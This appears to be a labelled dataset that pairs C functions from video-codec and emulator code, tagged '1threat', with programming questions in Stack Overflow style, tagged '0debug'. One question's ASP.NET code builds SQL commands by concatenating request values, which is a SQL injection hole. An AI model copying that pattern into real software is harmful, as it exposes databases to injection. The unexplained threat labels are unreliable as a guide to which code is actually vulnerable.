"psrlq $24, %%mm4 \n\t"
"psrlq $24, %%mm2 \n\t"
PAVGB" %%mm1, %%mm4 \n\t"
PAVGB" %%mm3, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
#else
"movd 12(%0, %%"REG_d"), %%mm4 \n\t"
"movd 12(%1, %%"REG_d"), %%mm1 \n\t"
"movd 15(%0, %%"REG_d"), %%mm2 \n\t"
"movd 15(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm4 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm4 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm2, %%mm4 \n\t"
"movd 18(%0, %%"REG_d"), %%mm5 \n\t"
"movd 18(%1, %%"REG_d"), %%mm1 \n\t"
"movd 21(%0, %%"REG_d"), %%mm2 \n\t"
"movd 21(%1, %%"REG_d"), %%mm3 \n\t"
"punpcklbw %%mm7, %%mm5 \n\t"
"punpcklbw %%mm7, %%mm1 \n\t"
"punpcklbw %%mm7, %%mm2 \n\t"
"punpcklbw %%mm7, %%mm3 \n\t"
"paddw %%mm1, %%mm5 \n\t"
"paddw %%mm3, %%mm2 \n\t"
"paddw %%mm5, %%mm2 \n\t"
"movq "MANGLE(ff_w1111)", %%mm5 \n\t"
"psrlw $2, %%mm4 \n\t"
"psrlw $2, %%mm2 \n\t"
#endif
"movq "MANGLE(ff_bgr2VCoeff)", %%mm1 \n\t"
"movq "MANGLE(ff_bgr2VCoeff)", %%mm3 \n\t"
"pmaddwd %%mm4, %%mm1 \n\t"
"pmaddwd %%mm2, %%mm3 \n\t"
"pmaddwd %%mm6, %%mm4 \n\t"
"pmaddwd %%mm6, %%mm2 \n\t"
#ifndef FAST_BGR2YV12
"psrad $8, %%mm4 \n\t"
"psrad $8, %%mm1 \n\t"
"psrad $8, %%mm2 \n\t"
"psrad $8, %%mm3 \n\t"
#endif
"packssdw %%mm2, %%mm4 \n\t"
"packssdw %%mm3, %%mm1 \n\t"
"pmaddwd %%mm5, %%mm4 \n\t"
"pmaddwd %%mm5, %%mm1 \n\t"
"add $24, %%"REG_d" \n\t"
"packssdw %%mm1, %%mm4 \n\t"
"psraw $7, %%mm4 \n\t"
"movq %%mm0, %%mm1 \n\t"
"punpckldq %%mm4, %%mm0 \n\t"
"punpckhdq %%mm4, %%mm1 \n\t"
"packsswb %%mm1, %%mm0 \n\t"
"paddb "MANGLE(ff_bgr2UVOffset)", %%mm0 \n\t"
"movd %%mm0, (%2, %%"REG_a") \n\t"
"punpckhdq %%mm0, %%mm0 \n\t"
"movd %%mm0, (%3, %%"REG_a") \n\t"
"add $4, %%"REG_a" \n\t"
" js 1b \n\t"
: : "r" (src+chromWidth*6), "r" (src+srcStride+chromWidth*6), "r" (udst+chromWidth), "r" (vdst+chromWidth), "g" (-chromWidth)
: "%"REG_a, "%"REG_d
);
udst += chromStride;
vdst += chromStride;
src += srcStride*2;
}
__asm__ volatile(EMMS" \n\t"
SFENCE" \n\t"
:::"memory");
#else
y=0;
#endif
for (; y<height; y+=2) {
long i;
for (i=0; i<chromWidth; i++) {
unsigned int b = src[6*i+0];
unsigned int g = src[6*i+1];
unsigned int r = src[6*i+2];
unsigned int Y = ((RY*r + GY*g + BY*b)>>RGB2YUV_SHIFT) + 16;
unsigned int V = ((RV*r + GV*g + BV*b)>>RGB2YUV_SHIFT) + 128;
unsigned int U = ((RU*r + GU*g + BU*b)>>RGB2YUV_SHIFT) + 128;
udst[i] = U;
vdst[i] = V;
ydst[2*i] = Y;
b = src[6*i+3];
g = src[6*i+4];
r = src[6*i+5];
Y = ((RY*r + GY*g + BY*b)>>RGB2YUV_SHIFT) + 16;
ydst[2*i+1] = Y;
}
ydst += lumStride;
src += srcStride;
if(y+1 == height)
break;
for (i=0; i<chromWidth; i++) {
unsigned int b = src[6*i+0];
unsigned int g = src[6*i+1];
unsigned int r = src[6*i+2];
unsigned int Y = ((RY*r + GY*g + BY*b)>>RGB2YUV_SHIFT) + 16;
ydst[2*i] = Y;
b = src[6*i+3];
g = src[6*i+4];
r = src[6*i+5];
Y = ((RY*r + GY*g + BY*b)>>RGB2YUV_SHIFT) + 16;
ydst[2*i+1] = Y;
}
udst += chromStride;
vdst += chromStride;
ydst += lumStride;
src += srcStride;
}
}
| 1threat |
Regex for Punctuation (Section sign) in PHP : <p>I want to create a regex that finds § in a string.</p>
<p>The section sign has unicode U+00A7 ,html sect and ascii value 245;</p>
<p>But I wonder if /(\245)/ would work</p>
| 0debug |
Replace all String with empty string starting with -- : <p>i have string which is</p>
<pre><code>testVariable--423h33c7uhyga5tjk
</code></pre>
<p>now i want to replace the above string with</p>
<pre><code>testVariable
</code></pre>
<p>by using <code>javascript</code> replace function. </p>
| 0debug |
TensorFlow image operations for batches : <p>There are a number of image operations in TensorFlow used for distorting input images during training, e.g. <code>tf.image.random_flip_left_right(image, seed=None)</code> and <code>tf.image.random_brightness(image, max_delta, seed=None)</code> and several others.</p>
<p>These functions are made for single images (i.e. 3-D tensors with shape [height, width, color-channel]). How can I make them work on a batch of images (i.e. 4-D tensors with shape [batch, height, width, color-channel])?</p>
<p>A working example would be greatly appreciated!</p>
| 0debug |
How extend React types to support html attributes as props : <p>Given a component that takes custom props as well as html attribute props, how should the interface for such a component be created? Ideally, the interface would also handle react-specific html props such as using <code>className</code> instead of <code>class</code>.</p>
<p>Usage example for which I'm trying to find the right interface:</p>
<pre><code><MyComponent customProp='value' style={{textAlign: 'center'}} />
</code></pre>
| 0debug |
Password encryption in MySQL : <p>I used a mysql database to create a user's registration form and in my sign up code, I did not specify the encryption type for password. How do I create a login form in php which requires password?</p>
| 0debug |
Convert a es6 template string to html element using vanilla javascript : <p>Is there a method to use plain old vanilla javascript (sans frameworks) to convert a html template string into a Html element?</p>
<p>Here's what i've things that i've tried:</p>
<pre><code>function renderBody(selector = body, template) {
const prop.text = 'foobar';
const templateString = `<div id='test'>${prop.text}</div>`
const test = document.createElement('div');
test.innerHTML = templateString;
document.querySelector(selector).appendChild(test);
}
</code></pre>
<p>This implementation works but it uses innerHTML and adds an extra wrapped div. There a way to do that without the extra <code>div</code>?</p>
| 0debug |
Run CSS in PHP function WooCommerce : <p>I wrote this function:</p>
<pre><code>add_action( 'woocommerce_before_calculate_totals', 'adding_custom_price', 10, 1);
function adding_custom_price( $cart ) {
global $woocommerce;
foreach ( $cart->get_cart() as $cart_item ) {
//If there is minimum 1 coupon active
if (!empty(WC()->cart->applied_coupons)) {
}
//If there isn't any coupon in cart
else {
//Here I want to do some styling in CSS or run something in jQuery
}
}
}
</code></pre>
<p>I want to do some CSS in it and run some jQuery in the else, how can I do that?</p>
| 0debug |
Handle Bootstrap modal hide event in Vue JS : <p>Is there a decent way in Vue (2) to handle a Bootstrap (3) modal hide-event?</p>
<p>I found this as a JQuery way but I can't figure out how to capture this event in Vue:</p>
<pre><code>$('#myModal').on('hidden.bs.modal', function () {
// do something…
})
</code></pre>
<p>Adding something like <code>v-on:hide.bs.modal="alert('hide')</code> doesn't seem to work.</p>
| 0debug |
How to convert efficiently a string to a byte slice, including the final 0, in golang? : I would like to convert a string to a byte slice, including the final 0 char.
I am aware that the following code converts a string to a slice :
my_slice := []byte("abc")
And that the following code can add the final 0 char:
my_slice = append(my_slice , 0)
But I wonder if that can be done more efficiently, maybe in 1 line, since both lines will allocate memory...
Inefficient example: https://play.golang.org/p/Rg6ri3H66f9
| 0debug |
static int mpeg_decode_mb(MpegEncContext *s, DCTELEM block[12][64])
{
int i, j, k, cbp, val, mb_type, motion_type;
const int mb_block_count = 4 + (1 << s->chroma_format);
av_dlog(s->avctx, "decode_mb: x=%d y=%d\n", s->mb_x, s->mb_y);
assert(s->mb_skipped == 0);
if (s->mb_skip_run-- != 0) {
if (s->pict_type == AV_PICTURE_TYPE_P) {
s->mb_skipped = 1;
s->current_picture.f.mb_type[s->mb_x + s->mb_y * s->mb_stride] = MB_TYPE_SKIP | MB_TYPE_L0 | MB_TYPE_16x16;
} else {
int mb_type;
if (s->mb_x)
mb_type = s->current_picture.f.mb_type[s->mb_x + s->mb_y * s->mb_stride - 1];
else
mb_type = s->current_picture.f.mb_type[s->mb_width + (s->mb_y - 1) * s->mb_stride - 1];
if (IS_INTRA(mb_type))
return -1;
s->current_picture.f.mb_type[s->mb_x + s->mb_y*s->mb_stride] =
mb_type | MB_TYPE_SKIP;
if ((s->mv[0][0][0] | s->mv[0][0][1] | s->mv[1][0][0] | s->mv[1][0][1]) == 0)
s->mb_skipped = 1;
}
return 0;
}
switch (s->pict_type) {
default:
case AV_PICTURE_TYPE_I:
if (get_bits1(&s->gb) == 0) {
if (get_bits1(&s->gb) == 0) {
av_log(s->avctx, AV_LOG_ERROR, "invalid mb type in I Frame at %d %d\n", s->mb_x, s->mb_y);
return -1;
}
mb_type = MB_TYPE_QUANT | MB_TYPE_INTRA;
} else {
mb_type = MB_TYPE_INTRA;
}
break;
case AV_PICTURE_TYPE_P:
mb_type = get_vlc2(&s->gb, mb_ptype_vlc.table, MB_PTYPE_VLC_BITS, 1);
if (mb_type < 0) {
av_log(s->avctx, AV_LOG_ERROR, "invalid mb type in P Frame at %d %d\n", s->mb_x, s->mb_y);
return -1;
}
mb_type = ptype2mb_type[mb_type];
break;
case AV_PICTURE_TYPE_B:
mb_type = get_vlc2(&s->gb, mb_btype_vlc.table, MB_BTYPE_VLC_BITS, 1);
if (mb_type < 0) {
av_log(s->avctx, AV_LOG_ERROR, "invalid mb type in B Frame at %d %d\n", s->mb_x, s->mb_y);
return -1;
}
mb_type = btype2mb_type[mb_type];
break;
}
av_dlog(s->avctx, "mb_type=%x\n", mb_type);
if (IS_INTRA(mb_type)) {
s->dsp.clear_blocks(s->block[0]);
if (!s->chroma_y_shift) {
s->dsp.clear_blocks(s->block[6]);
}
if (s->picture_structure == PICT_FRAME &&
!s->frame_pred_frame_dct) {
s->interlaced_dct = get_bits1(&s->gb);
}
if (IS_QUANT(mb_type))
s->qscale = get_qscale(s);
if (s->concealment_motion_vectors) {
if (s->picture_structure != PICT_FRAME)
skip_bits1(&s->gb);
s->mv[0][0][0]= s->last_mv[0][0][0]= s->last_mv[0][1][0] =
mpeg_decode_motion(s, s->mpeg_f_code[0][0], s->last_mv[0][0][0]);
s->mv[0][0][1]= s->last_mv[0][0][1]= s->last_mv[0][1][1] =
mpeg_decode_motion(s, s->mpeg_f_code[0][1], s->last_mv[0][0][1]);
skip_bits1(&s->gb);
} else
memset(s->last_mv, 0, sizeof(s->last_mv));
s->mb_intra = 1;
if (CONFIG_MPEG_XVMC_DECODER && s->avctx->xvmc_acceleration > 1) {
ff_xvmc_pack_pblocks(s, -1);
if (s->swap_uv) {
exchange_uv(s);
}
}
if (s->codec_id == CODEC_ID_MPEG2VIDEO) {
if (s->flags2 & CODEC_FLAG2_FAST) {
for (i = 0; i < 6; i++) {
mpeg2_fast_decode_block_intra(s, *s->pblocks[i], i);
}
} else {
for (i = 0; i < mb_block_count; i++) {
if (mpeg2_decode_block_intra(s, *s->pblocks[i], i) < 0)
return -1;
}
}
} else {
for (i = 0; i < 6; i++) {
if (mpeg1_decode_block_intra(s, *s->pblocks[i], i) < 0)
return -1;
}
}
} else {
if (mb_type & MB_TYPE_ZERO_MV) {
assert(mb_type & MB_TYPE_CBP);
s->mv_dir = MV_DIR_FORWARD;
if (s->picture_structure == PICT_FRAME) {
if (!s->frame_pred_frame_dct)
s->interlaced_dct = get_bits1(&s->gb);
s->mv_type = MV_TYPE_16X16;
} else {
s->mv_type = MV_TYPE_FIELD;
mb_type |= MB_TYPE_INTERLACED;
s->field_select[0][0] = s->picture_structure - 1;
}
if (IS_QUANT(mb_type))
s->qscale = get_qscale(s);
s->last_mv[0][0][0] = 0;
s->last_mv[0][0][1] = 0;
s->last_mv[0][1][0] = 0;
s->last_mv[0][1][1] = 0;
s->mv[0][0][0] = 0;
s->mv[0][0][1] = 0;
} else {
assert(mb_type & MB_TYPE_L0L1);
if (s->frame_pred_frame_dct)
motion_type = MT_FRAME;
else {
motion_type = get_bits(&s->gb, 2);
if (s->picture_structure == PICT_FRAME && HAS_CBP(mb_type))
s->interlaced_dct = get_bits1(&s->gb);
}
if (IS_QUANT(mb_type))
s->qscale = get_qscale(s);
s->mv_dir = (mb_type >> 13) & 3;
av_dlog(s->avctx, "motion_type=%d\n", motion_type);
switch (motion_type) {
case MT_FRAME:
if (s->picture_structure == PICT_FRAME) {
mb_type |= MB_TYPE_16x16;
s->mv_type = MV_TYPE_16X16;
for (i = 0; i < 2; i++) {
if (USES_LIST(mb_type, i)) {
s->mv[i][0][0]= s->last_mv[i][0][0]= s->last_mv[i][1][0] =
mpeg_decode_motion(s, s->mpeg_f_code[i][0], s->last_mv[i][0][0]);
s->mv[i][0][1]= s->last_mv[i][0][1]= s->last_mv[i][1][1] =
mpeg_decode_motion(s, s->mpeg_f_code[i][1], s->last_mv[i][0][1]);
if (s->full_pel[i]) {
s->mv[i][0][0] <<= 1;
s->mv[i][0][1] <<= 1;
}
}
}
} else {
mb_type |= MB_TYPE_16x8 | MB_TYPE_INTERLACED;
s->mv_type = MV_TYPE_16X8;
for (i = 0; i < 2; i++) {
if (USES_LIST(mb_type, i)) {
for (j = 0; j < 2; j++) {
s->field_select[i][j] = get_bits1(&s->gb);
for (k = 0; k < 2; k++) {
val = mpeg_decode_motion(s, s->mpeg_f_code[i][k],
s->last_mv[i][j][k]);
s->last_mv[i][j][k] = val;
s->mv[i][j][k] = val;
}
}
}
}
}
break;
case MT_FIELD:
if(s->progressive_sequence){
av_log(s->avctx, AV_LOG_ERROR, "MT_FIELD in progressive_sequence\n");
return -1;
}
s->mv_type = MV_TYPE_FIELD;
if (s->picture_structure == PICT_FRAME) {
mb_type |= MB_TYPE_16x8 | MB_TYPE_INTERLACED;
for (i = 0; i < 2; i++) {
if (USES_LIST(mb_type, i)) {
for (j = 0; j < 2; j++) {
s->field_select[i][j] = get_bits1(&s->gb);
val = mpeg_decode_motion(s, s->mpeg_f_code[i][0],
s->last_mv[i][j][0]);
s->last_mv[i][j][0] = val;
s->mv[i][j][0] = val;
av_dlog(s->avctx, "fmx=%d\n", val);
val = mpeg_decode_motion(s, s->mpeg_f_code[i][1],
s->last_mv[i][j][1] >> 1);
s->last_mv[i][j][1] = val << 1;
s->mv[i][j][1] = val;
av_dlog(s->avctx, "fmy=%d\n", val);
}
}
}
} else {
av_assert0(!s->progressive_sequence);
mb_type |= MB_TYPE_16x16 | MB_TYPE_INTERLACED;
for (i = 0; i < 2; i++) {
if (USES_LIST(mb_type, i)) {
s->field_select[i][0] = get_bits1(&s->gb);
for (k = 0; k < 2; k++) {
val = mpeg_decode_motion(s, s->mpeg_f_code[i][k],
s->last_mv[i][0][k]);
s->last_mv[i][0][k] = val;
s->last_mv[i][1][k] = val;
s->mv[i][0][k] = val;
}
}
}
}
break;
case MT_DMV:
if(s->progressive_sequence){
av_log(s->avctx, AV_LOG_ERROR, "MT_DMV in progressive_sequence\n");
return -1;
}
s->mv_type = MV_TYPE_DMV;
for (i = 0; i < 2; i++) {
if (USES_LIST(mb_type, i)) {
int dmx, dmy, mx, my, m;
const int my_shift = s->picture_structure == PICT_FRAME;
mx = mpeg_decode_motion(s, s->mpeg_f_code[i][0],
s->last_mv[i][0][0]);
s->last_mv[i][0][0] = mx;
s->last_mv[i][1][0] = mx;
dmx = get_dmv(s);
my = mpeg_decode_motion(s, s->mpeg_f_code[i][1],
s->last_mv[i][0][1] >> my_shift);
dmy = get_dmv(s);
s->last_mv[i][0][1] = my << my_shift;
s->last_mv[i][1][1] = my << my_shift;
s->mv[i][0][0] = mx;
s->mv[i][0][1] = my;
s->mv[i][1][0] = mx;
s->mv[i][1][1] = my;
if (s->picture_structure == PICT_FRAME) {
mb_type |= MB_TYPE_16x16 | MB_TYPE_INTERLACED;
m = s->top_field_first ? 1 : 3;
s->mv[i][2][0] = ((mx * m + (mx > 0)) >> 1) + dmx;
s->mv[i][2][1] = ((my * m + (my > 0)) >> 1) + dmy - 1;
m = 4 - m;
s->mv[i][3][0] = ((mx * m + (mx > 0)) >> 1) + dmx;
s->mv[i][3][1] = ((my * m + (my > 0)) >> 1) + dmy + 1;
} else {
mb_type |= MB_TYPE_16x16;
s->mv[i][2][0] = ((mx + (mx > 0)) >> 1) + dmx;
s->mv[i][2][1] = ((my + (my > 0)) >> 1) + dmy;
if (s->picture_structure == PICT_TOP_FIELD)
s->mv[i][2][1]--;
else
s->mv[i][2][1]++;
}
}
}
break;
default:
av_log(s->avctx, AV_LOG_ERROR, "00 motion_type at %d %d\n", s->mb_x, s->mb_y);
return -1;
}
}
s->mb_intra = 0;
if (HAS_CBP(mb_type)) {
s->dsp.clear_blocks(s->block[0]);
cbp = get_vlc2(&s->gb, mb_pat_vlc.table, MB_PAT_VLC_BITS, 1);
if (mb_block_count > 6) {
cbp <<= mb_block_count - 6;
cbp |= get_bits(&s->gb, mb_block_count - 6);
s->dsp.clear_blocks(s->block[6]);
}
if (cbp <= 0) {
av_log(s->avctx, AV_LOG_ERROR, "invalid cbp at %d %d\n", s->mb_x, s->mb_y);
return -1;
}
if (CONFIG_MPEG_XVMC_DECODER && s->avctx->xvmc_acceleration > 1) {
ff_xvmc_pack_pblocks(s, cbp);
if (s->swap_uv) {
exchange_uv(s);
}
}
if (s->codec_id == CODEC_ID_MPEG2VIDEO) {
if (s->flags2 & CODEC_FLAG2_FAST) {
for (i = 0; i < 6; i++) {
if (cbp & 32) {
mpeg2_fast_decode_block_non_intra(s, *s->pblocks[i], i);
} else {
s->block_last_index[i] = -1;
}
cbp += cbp;
}
} else {
cbp <<= 12-mb_block_count;
for (i = 0; i < mb_block_count; i++) {
if (cbp & (1 << 11)) {
if (mpeg2_decode_block_non_intra(s, *s->pblocks[i], i) < 0)
return -1;
} else {
s->block_last_index[i] = -1;
}
cbp += cbp;
}
}
} else {
if (s->flags2 & CODEC_FLAG2_FAST) {
for (i = 0; i < 6; i++) {
if (cbp & 32) {
mpeg1_fast_decode_block_inter(s, *s->pblocks[i], i);
} else {
s->block_last_index[i] = -1;
}
cbp += cbp;
}
} else {
for (i = 0; i < 6; i++) {
if (cbp & 32) {
if (mpeg1_decode_block_inter(s, *s->pblocks[i], i) < 0)
return -1;
} else {
s->block_last_index[i] = -1;
}
cbp += cbp;
}
}
}
} else {
for (i = 0; i < 12; i++)
s->block_last_index[i] = -1;
}
}
s->current_picture.f.mb_type[s->mb_x + s->mb_y * s->mb_stride] = mb_type;
return 0;
}
| 1threat |
Paypal checkout integration in native mobile without Braintree : <p>I have a requirement to integrate the paypal integration in native apps (iOS and android). I have braintree sdk option because paypal sdk is deprecated now for new inplementation. </p>
<p>iOS: <a href="https://github.com/paypal/PayPal-iOS-SDK" rel="noreferrer">https://github.com/paypal/PayPal-iOS-SDK</a></p>
<p>Android: <a href="https://github.com/paypal/PayPal-Android-SDK" rel="noreferrer">https://github.com/paypal/PayPal-Android-SDK</a></p>
<p>please refer important section.</p>
<p>can anyone send me the link or any sample for on time payment using paypal. this implementation will be for china. </p>
<p>Thanks in advance!!</p>
| 0debug |
How to print in swift, response body instead of header? : My current code prints the header information, but I want the body response. I'm trying to obtain a token to use for another request.
request.httpMethod = "GET"
request.allHTTPHeaderFields = headers
let session = URLSession.shared
let dataTask = session.dataTask(with: request as URLRequest, completionHandler: { (data, response, error) -> Void in
if (error != nil) {
print(error!)
} else {
let httpResponse = response as? HTTPURLResponse
print(httpResponse!)
}})
dataTask.resume()
| 0debug |
Add methods or values to enum in dart : <p>In java when you are defining an enum you can do something similar to the following. Is this possible in Dart?</p>
<pre><code>enum blah {
one(1), two(2);
final num value;
blah(this.value);
}
</code></pre>
| 0debug |
Getting parent of AST node in Python : <p>I'm working with Abstract Syntax Trees in Python 3. The <code>ast</code> library gives many ways to get children of the node (you can use <code>iter_child_nodes()</code> or <code>walk()</code>) but no ways to get <strong>parent</strong> of one. Also, every node has links to its children, but it hasn't links to its parent.</p>
<p><strong>How I can get the parent of AST node</strong> if I don't want to write some plugin to <code>ast</code> library?</p>
<p>What is the most correct way to do this?</p>
| 0debug |
static int64_t alloc_clusters_noref(BlockDriverState *bs, int64_t size)
{
BDRVQcowState *s = bs->opaque;
int i, nb_clusters, refcount;
nb_clusters = size_to_clusters(s, size);
retry:
for(i = 0; i < nb_clusters; i++) {
int64_t next_cluster_index = s->free_cluster_index++;
refcount = get_refcount(bs, next_cluster_index);
if (refcount < 0) {
return refcount;
} else if (refcount != 0) {
goto retry;
}
}
#ifdef DEBUG_ALLOC2
fprintf(stderr, "alloc_clusters: size=%" PRId64 " -> %" PRId64 "\n",
size,
(s->free_cluster_index - nb_clusters) << s->cluster_bits);
#endif
return (s->free_cluster_index - nb_clusters) << s->cluster_bits;
}
| 1threat |
what is None,True,False in python? : <p>Are they keywords, constants, or functions? If they are constants, what are their types? It seems python has no type of boolean.</p>
| 0debug |
static inline void RENAME(nvXXtoUV)(uint8_t *dst1, uint8_t *dst2,
const uint8_t *src, int width)
{
#if COMPILE_TEMPLATE_MMX
__asm__ volatile(
"movq "MANGLE(bm01010101)", %%mm4 \n\t"
"mov %0, %%"REG_a" \n\t"
"1: \n\t"
"movq (%1, %%"REG_a",2), %%mm0 \n\t"
"movq 8(%1, %%"REG_a",2), %%mm1 \n\t"
"movq %%mm0, %%mm2 \n\t"
"movq %%mm1, %%mm3 \n\t"
"pand %%mm4, %%mm0 \n\t"
"pand %%mm4, %%mm1 \n\t"
"psrlw $8, %%mm2 \n\t"
"psrlw $8, %%mm3 \n\t"
"packuswb %%mm1, %%mm0 \n\t"
"packuswb %%mm3, %%mm2 \n\t"
"movq %%mm0, (%2, %%"REG_a") \n\t"
"movq %%mm2, (%3, %%"REG_a") \n\t"
"add $8, %%"REG_a" \n\t"
" js 1b \n\t"
: : "g" ((x86_reg)-width), "r" (src+width*2), "r" (dst1+width), "r" (dst2+width)
: "%"REG_a
);
#else
int i;
for (i = 0; i < width; i++) {
dst1[i] = src[2*i+0];
dst2[i] = src[2*i+1];
}
#endif
}
| 1threat |
static int e1000_post_load(void *opaque, int version_id)
{
E1000State *s = opaque;
NetClientState *nc = qemu_get_queue(s->nic);
if (!(s->compat_flags & E1000_FLAG_MIT)) {
s->mac_reg[ITR] = s->mac_reg[RDTR] = s->mac_reg[RADV] =
s->mac_reg[TADV] = 0;
s->mit_irq_level = false;
}
s->mit_ide = 0;
s->mit_timer_on = false;
nc->link_down = (s->mac_reg[STATUS] & E1000_STATUS_LU) == 0;
if (s->compat_flags & E1000_FLAG_AUTONEG &&
s->phy_reg[PHY_CTRL] & MII_CR_AUTO_NEG_EN &&
s->phy_reg[PHY_CTRL] & MII_CR_RESTART_AUTO_NEG &&
!(s->phy_reg[PHY_STATUS] & MII_SR_AUTONEG_COMPLETE)) {
nc->link_down = false;
timer_mod(s->autoneg_timer, qemu_clock_get_ms(QEMU_CLOCK_VIRTUAL) + 500);
}
return 0;
}
| 1threat |
Invalid parameter number: number of bound variables does not match number of tokens in C:\wamp\www\midtermexam\update.php on line 78 : <p>Please help, this is my midterm exam, i got stucked for three days :(</p>
<pre><code> if(!isset($errMSG))
{
$stmt = $DB_con->prepare('UPDATE tbl_students
SET studName=:studname,
studCourse=:studcourse,
studAddress=:studaddress,
studGender=:studgender,
studPic=:studpic
WHERE studID=:studid');
$stmt->bindParam(':studname',$studname);
$stmt->bindParam(':studcourse',$studcourse);
$stmt->bindParam(':studpic',$studpic);
$stmt->bindParam(':studid',$studid);
if($stmt->execute()){
</code></pre>
| 0debug |
Excel Macros VBA : I have to cut the contents from active cell for a specific range in sheet 1 and paste it from the active cell of that range in sheet 2. cutting the specific range of contents is working fine but getting error in paste options.Iam getting runtime error 1004 as application defined or object defined error.
HERE IS THE CODE IAM USING
Sub sheet1_sheet2_copy_click()
Sheets("sheet1").Activate
ActiveCell.Resize(1, 26).Cut
Sheets("sheet2").Activate
ActiveCell.Resize(1, 26).PasteSpecial
End Sub | 0debug |
static void h264_v_loop_filter_luma_intra_c(uint8_t *pix, int stride, int alpha, int beta)
{
h264_loop_filter_luma_intra_c(pix, stride, 1, alpha, beta);
}
| 1threat |
uint_fast16_t float64_to_uint16_round_to_zero(float64 a STATUS_PARAM)
{
int64_t v;
uint_fast16_t res;
v = float64_to_int64_round_to_zero(a STATUS_VAR);
if (v < 0) {
res = 0;
float_raise( float_flag_invalid STATUS_VAR);
} else if (v > 0xffff) {
res = 0xffff;
float_raise( float_flag_invalid STATUS_VAR);
} else {
res = v;
}
return res;
}
| 1threat |
How use controls inside repeater control in asp.net? :
here is my .aspx code !
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Configuration;
using System.Data;
using System.Data.SqlClient;
public partial class _Default : System.Web.UI.Page
{
int id;
protected void Page_Load(object sender, EventArgs e)
{
Label2.Text = " " + Session["username"] + " ";
string CS = ConfigurationManager.ConnectionStrings["DBCS"].ConnectionString;
using (SqlConnection con = new SqlConnection(CS))
{
id = Convert.ToInt32(Request.QueryString["Prod_Id"].ToString());
con.Open();
SqlCommand cmd = con.CreateCommand();
cmd.CommandType = CommandType.Text;
cmd.CommandText = "select * from Product where Prod_Id="+ id +"";
cmd.ExecuteNonQuery();
DataTable dt = new DataTable();
SqlDataAdapter da = new SqlDataAdapter(cmd);
da.Fill(dt);
Repeater1.DataSource = dt;
Repeater1.DataBind();
con.Close();
}
}
protected void Button1_Click(object sender, EventArgs e)
{
string CS = ConfigurationManager.ConnectionStrings["DBCS"].ConnectionString;
using (SqlConnection con = new SqlConnection(CS))
{
con.Open();
SqlCommand cmd = con.CreateCommand();
cmd.CommandType = CommandType.Text;
cmd.CommandText = "insert into Order values('" + Label2.Text + "','"+ label3. +"')";
cmd.ExecuteNonQuery();
con.Close();
}
}
}
here is my.aspx code
<%@ Page Title="" Language="C#" MasterPageFile="~/welcome_mstr.master" AutoEventWireup="true" CodeFile="desc.aspx.cs" Inherits="_Default" %>
<asp:Content ID="Content1" ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server">
<b>Welcome</b>
<asp:Label ID="Label2" runat="server" Text="Label"></asp:Label>
!<asp:Repeater ID="Repeater1" runat="server"
onitemcommand="Repeater1_ItemCommand">
<HeaderTemplate></HeaderTemplate>
<ItemTemplate>
<div style=" width:700px; margin-left:200px; background-color:#FCFBE3">
<br />
<table>
<tr><td><img alt="" src='<%# Eval("Image") %>' style=" width:299px; height:299px;" /></td>
<td valign="top"><table >
<tr><td align="left"><asp:Label ID="Label3" runat="server" Text='<%#Eval("Prod_Name") %>'></asp:Label></td></tr>
<tr><td align="left"><asp:Label ID="Label4" runat="server" Text='<%#Eval("Weight") %>'></asp:Label></td></tr>
<tr><td align="left">Cost: ₹<asp:Label ID="Label1" runat="server" Text='<%#Eval("Price") %>'></asp:Label></td></tr>
<tr><td>
<asp:Button ID="Button1" runat="server" Text="Order" /> </td></tr>
</table>
</td>
</tr>
</table>
</div>
</ItemTemplate>
<FooterTemplate></FooterTemplate>
</asp:Repeater>
</asp:Content>
I want to use the 'Text' property of a control inside Repeater control and insert that text value into a table through button click. But i am not able to access the control it self. Its showing an error "The name 'label3' does not exist in the current context".How do I do it ? PLEASE HELP !?
| 0debug |
Error - int 'counter' was not declared in this scope : <pre><code>\main112.cpp In function 'int main()':
63 36 \main112.cpp [Error] 'counter' was not declared in this scope
28 \Makefile.win recipe for target 'main112.o' failed
</code></pre>
<pre><code>#include <string>
#include <iostream>
#include <windows.h>
#include <stdlib.h>
using namespace std;
struct Person
{
string name;
string race;
int weight;
void write();
void show();
void check();
};
void Person::show()
{
cout<<"ÔÈÎ: "<<name<<endl;
cout<<"Íîìåð ðåéñà: "<<race<<endl;
cout<<"Âåñ áàãàæà: "<<weight<<endl;
}
void Person::write()
{
cout<<"Ââåäèòå ÔÈÎ: ";
getline(cin,name);
cout<<"Ââåäèòå íîìåð ðåéñà: ";
getline(cin,race);
cout<<"Ââåäèòå âåñ áàãàæà: ";
cin>>weight;
cin.ignore();
}
void Person::check()
{
int counter = 0;
if(weight>10)
{
counter++;
}
}
int main()
{
SetConsoleCP(1251);
SetConsoleOutputCP(1251);
setlocale(0, "Russian");
Person* persons=new Person[4];
for (int i = 0; i < 4; i++)
{
persons[i].write();
}
for (int i = 0; i < 4; i++)
{
persons[i].show();
persons[i].check();
}
cout<<"Ñ áàãàæîì áîëüøå 10 êã: "<<counter<<" ÷åëîâåê"<<endl;
delete[] persons;
return 0;
}
</code></pre>
<p>Program that works the way its coded and should work, without this problem</p>
<p>Homework:</p>
<p>Write a program for processing passenger information. Information includes:
1) Full name of the passenger.
2) Flight number.
3) Luggage weight
The program should allow the user to:
1) Read data from the keyboard and display it.
2) Calculate the number of passengers with the weight of baggage which is more than 10 kg</p>
| 0debug |
static int mpeg_decode_frame(AVCodecContext *avctx,
void *data, int *data_size,
UINT8 *buf, int buf_size)
{
Mpeg1Context *s = avctx->priv_data;
UINT8 *buf_end, *buf_ptr, *buf_start;
int len, start_code_found, ret, code, start_code, input_size;
AVPicture *picture = data;
MpegEncContext *s2 = &s->mpeg_enc_ctx;
dprintf("fill_buffer\n");
*data_size = 0;
if (buf_size == 0) {
if (s2->picture_number > 0) {
picture->data[0] = s2->next_picture[0];
picture->data[1] = s2->next_picture[1];
picture->data[2] = s2->next_picture[2];
picture->linesize[0] = s2->linesize;
picture->linesize[1] = s2->linesize / 2;
picture->linesize[2] = s2->linesize / 2;
*data_size = sizeof(AVPicture);
}
return 0;
}
